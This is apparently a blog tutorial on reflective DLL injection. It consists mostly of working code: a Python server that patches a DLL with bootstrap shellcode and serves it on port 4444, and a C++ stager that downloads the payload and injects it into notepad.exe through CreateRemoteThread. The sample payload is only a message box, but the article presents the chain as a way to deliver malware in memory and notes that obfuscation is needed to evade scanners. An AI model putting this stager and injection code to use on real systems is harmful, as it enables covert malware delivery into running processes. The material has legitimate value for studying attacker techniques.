Following on from our article about Malware staging, the next step is to load a DLL in memory.
Stephen Fewers reflective loader code is used by a number of projects, including Metasploit to perform DLL injection. The code can be downloaded from here:
https://github.com/stephenfewer/ReflectiveDLLInjection
The compiled DLL exports a single function ReflectiveLoader(). When called, the function will be able to load the DLL into memory, without using the Windows Loader (LDR). It carries out the following steps to do this;
- Determines it’s own location in memory to be able to identify it’s header locations.
- Walk the kernel32 Export Address Table (EAT) to find functions necessary to perform loading such as LoadLibraryA/VirtualAlloc/GetProcAddress.
- Allocate memory with VirtualAlloc, and map the headers and sections to this location.
- Perform Import Address Table (IAT) resolution, and rebase the memory.
- The DLL is now mapped into memory as it would be if it was loaded using LoadLibraryA. The entry point for the DLL is called.
Compiling the ReflectiveLoader
Modify ReflectiveDll.c to include code of your choosing (in this case just a MessageBox).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | //===============================================================================================// // This is a stub for the actuall functionality of the DLL. //===============================================================================================// #include "ReflectiveLoader.h" #include <cstdio> // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own // DllMain and use the LoadRemoteLibraryR() API to inject this DLL. // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) extern HINSTANCE hAppInstance; //===============================================================================================// void myfunction(); BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { BOOL bReturnValue = TRUE; FILE * file; const char * text = "It worked!." ; switch ( dwReason ) { case DLL_QUERY_HMODULE: if ( lpReserved != NULL ) *( HMODULE *)lpReserved = hAppInstance; break ; case DLL_PROCESS_ATTACH: myfunction(); break ; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break ; } return bReturnValue; } void myfunction() { MessageBoxA(NULL, "Hello from bordergate!" , "Hello" , MB_OK); } |
After compiling the code with Visual Studio, we can see there is only one exported function.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | dumpbin /exports reflective_dll.x64.dll Microsoft (R) COFF/PE Dumper Version 14.37.32824.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file reflective_dll.x64.dll File Type: DLL Section contains the following exports for reflective_dll.x64.dll 00000000 characteristics FFFFFFFF time date stamp 0.00 version 1 ordinal base 1 number of functions 1 number of names ordinal hint RVA name 1 0 0000104C ?ReflectiveLoader@@YA_KPEAX@Z = ?ReflectiveLoader@@YA_KPEAX@Z (unsigned __int64 __cdecl ReflectiveLoader(void *)) Summary 2000 .data 1000 .pdata A000 .rdata 1000 .reloc 1000 .rsrc E000 .text 1000 _RDATA |
Executing ReflectiveLoader
Although the ReflectiveLoader function can load the DLL is resides in, the code in that function will first need to be called. This will require some bootstrap code. Once the ReflectiveLoader DLL has been compiled, we can then patch the DLL to include this bootstrap code within the DOS header.
The below code does the following;
- Uses the python module pefile to identify the location of the ReflectiveLoader function in our DLL file.
- Patches the ReflectiveLoader DLL header to include a call to the ReflectiveLoader function.
- Delivers the resulting DLL over a network socket using the staging protocol we covered in this article.
Server Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 | import socket import pefile import struct def read_file_into_byte_array(file_path): try : with open (file_path, 'rb' ) as file : byte_array = bytearray( file .read()) return byte_array except FileNotFoundError: print (f "The file '{file_path}' does not exist." ) except Exception as e: print (f "An error occurred: {e}" ) return None def get_loader_offset(pe): if hasattr (pe, 'DIRECTORY_ENTRY_EXPORT' ): for export in pe.DIRECTORY_ENTRY_EXPORT.symbols: if b "ReflectiveLoader" in export.name: print ( "ReflectiveLoader Name: " + str (export.name)) print ( "ReflectiveLoader Ordinal: " + str (export.ordinal)) print ( "ReflectiveLoader Address: " + str ( hex (export.address))) break offset_va = export.address - pe.get_section_by_rva(export.address).VirtualAddress rl_offset = offset_va + pe.get_section_by_rva(export.address).PointerToRawData - 7 print ( "ReflectiveLoader Offset: " + str (rl_offset)) return struct.pack( "<I" , rl_offset) def patch_dll(dll): pe = pefile.PE(dll) print ( "[*] %s loaded" % dll) rl_offset = get_loader_offset(pe) patch = (b "\x4D" # dec ebp # M b "\x5A" # pop rdx # Z #b"\xCC" # # Software breakpoint for debugging b "\xE8\x00\x00\x00\x00" # call 0 b "\x5B" # pop rbx # Get our location b "\x48\x81\xC3" + rl_offset + # add rbx, 0x???????? # add offset to ReflectiveLoader b "\xFF\xD3" # call rbx # Call ReflectiveLoader b "\xEB\xFC" ) # JMP -2 # FB = 3 bytes FC = 2 bytes with open (dll, 'rb' ) as src: payload = src.read() reflective_payload = patch + payload[ len (patch):] patched_dll = 'payload_patched.dll' with open (patched_dll, 'wb' ) as dst: dst.write(reflective_payload) print ( "Patched DLL" ) def main(): patch_dll( "reflective_dll.x64.dll" ) file_path = 'payload_patched.dll' dll_byte_array = read_file_into_byte_array(file_path) dll_byte_array_size = len (dll_byte_array) little_endian_bytes = dll_byte_array_size.to_bytes( 4 , byteorder = 'little' ) print (f "The payload is {dll_byte_array_size} bytes." ) HOST = '192.168.1.127' PORT = 4444 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((HOST, PORT)) server_socket.listen() print (f "Server listening on {HOST}:{PORT}" ) while True : client_socket, client_address = server_socket.accept() print (f "Accepted connection from {client_address}" ) client_socket.sendall(little_endian_bytes + dll_byte_array) client_socket.close() print (f "Connection with {client_address} closed" ) if __name__ = = '__main__' : main() |
Client Code
Using a modified version of our Metasploit compatible stager from this article. The code carries out the following steps;
- Use function GetProcessIdByName() to get a processes PID.
- Get a handle to the process using OpenProcess().
- Allocate memory in the remote process with VirtualAllocEx.
- Use WriteProcessMemory to inject code into the remote process.
- Use CreateRemoteThread to call the code in the remote process.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | #include <iostream> #include <winsock2.h> #include <windows.h> #include <tlhelp32.h> #include <tchar.h> void printHexBytes( const char * buffer, size_t size) { for ( size_t i = 0; i < size; ++i) { printf ( "%02x " , static_cast <unsigned char >(buffer[i])); } printf ( "\n" ); } DWORD GetProcessIdByName( const TCHAR * processName) { PROCESSENTRY32 processEntry; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return 0; // Unable to create snapshot } processEntry.dwSize = sizeof (PROCESSENTRY32); if (!Process32First(hSnapshot, &processEntry)) { CloseHandle(hSnapshot); return 0; // Unable to get the first process } do { if (_tcsicmp(processEntry.szExeFile, processName) == 0) { CloseHandle(hSnapshot); return processEntry.th32ProcessID; // Found the process, return its PID } } while (Process32Next(hSnapshot, &processEntry)); CloseHandle(hSnapshot); return 0; // Process not found } int main( int argc, char * argv[]) { ULONG32 size; void (*function)(); // Initialize Winsock WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { std::cerr << "Failed to initialize Winsock" << std::endl; return -1; } // Create a socket SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, 0); if (clientSocket == INVALID_SOCKET) { std::cerr << "Error creating socket: " << WSAGetLastError() << std::endl; WSACleanup(); return -1; } // Set up the server address sockaddr_in serverAddress; serverAddress.sin_family = AF_INET; serverAddress.sin_port = htons(4444); serverAddress.sin_addr.s_addr = inet_addr( "192.168.1.127" ); // Connect to the server if (connect(clientSocket, reinterpret_cast <sockaddr*>(&serverAddress), sizeof (serverAddress)) == SOCKET_ERROR) { std::cerr << "Error connecting to the server: " << WSAGetLastError() << std::endl; closesocket(clientSocket); WSACleanup(); return -1; } // Get the size of the payload (in the first four bytes of network communication) recv(clientSocket, reinterpret_cast < char *>(&size), 4, 0); // Lookup the target process by name const TCHAR * processName = _T( "notepad.exe" ); DWORD pid = GetProcessIdByName(processName); HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // Allocate memory, including 5 bytes for our socket handler and POP EDI char * buffer = static_cast < char *>(VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE)); // POP EDI to first byte buffer[0] = 0xBF; // Followed by socket handle memcpy (buffer + 1, &clientSocket, 4); int bytesRead = 0; int totalBytesRead = 0; while (totalBytesRead < size) { bytesRead = recv(clientSocket, reinterpret_cast < char *>(buffer) + 5 + totalBytesRead, size - totalBytesRead, 0); if (bytesRead <= 0) { std::cerr << "Error receiving shellcode" << std::endl; delete [] buffer; closesocket(clientSocket); WSACleanup(); return -1; } totalBytesRead += bytesRead; } std::cout << "Buffer bytes\n" ; printHexBytes(buffer, 20); //Allocate a buffer in our remote process PVOID remote_buffer = VirtualAllocEx(process_handle, NULL, size + 5, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); // Write our buffer to the remote process WriteProcessMemory(process_handle, remote_buffer, buffer, size + 5, NULL); // Create thread in the remote process HANDLE remoteThread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL); return 0; } |
In Conclusion
Reflective DLL injection is a very useful technique for delivering malware in memory. It’s worth noting that due to the age and prevalence of the reflected loader project it will likely be detected by memory scanning unless further obfuscation of the code is applied.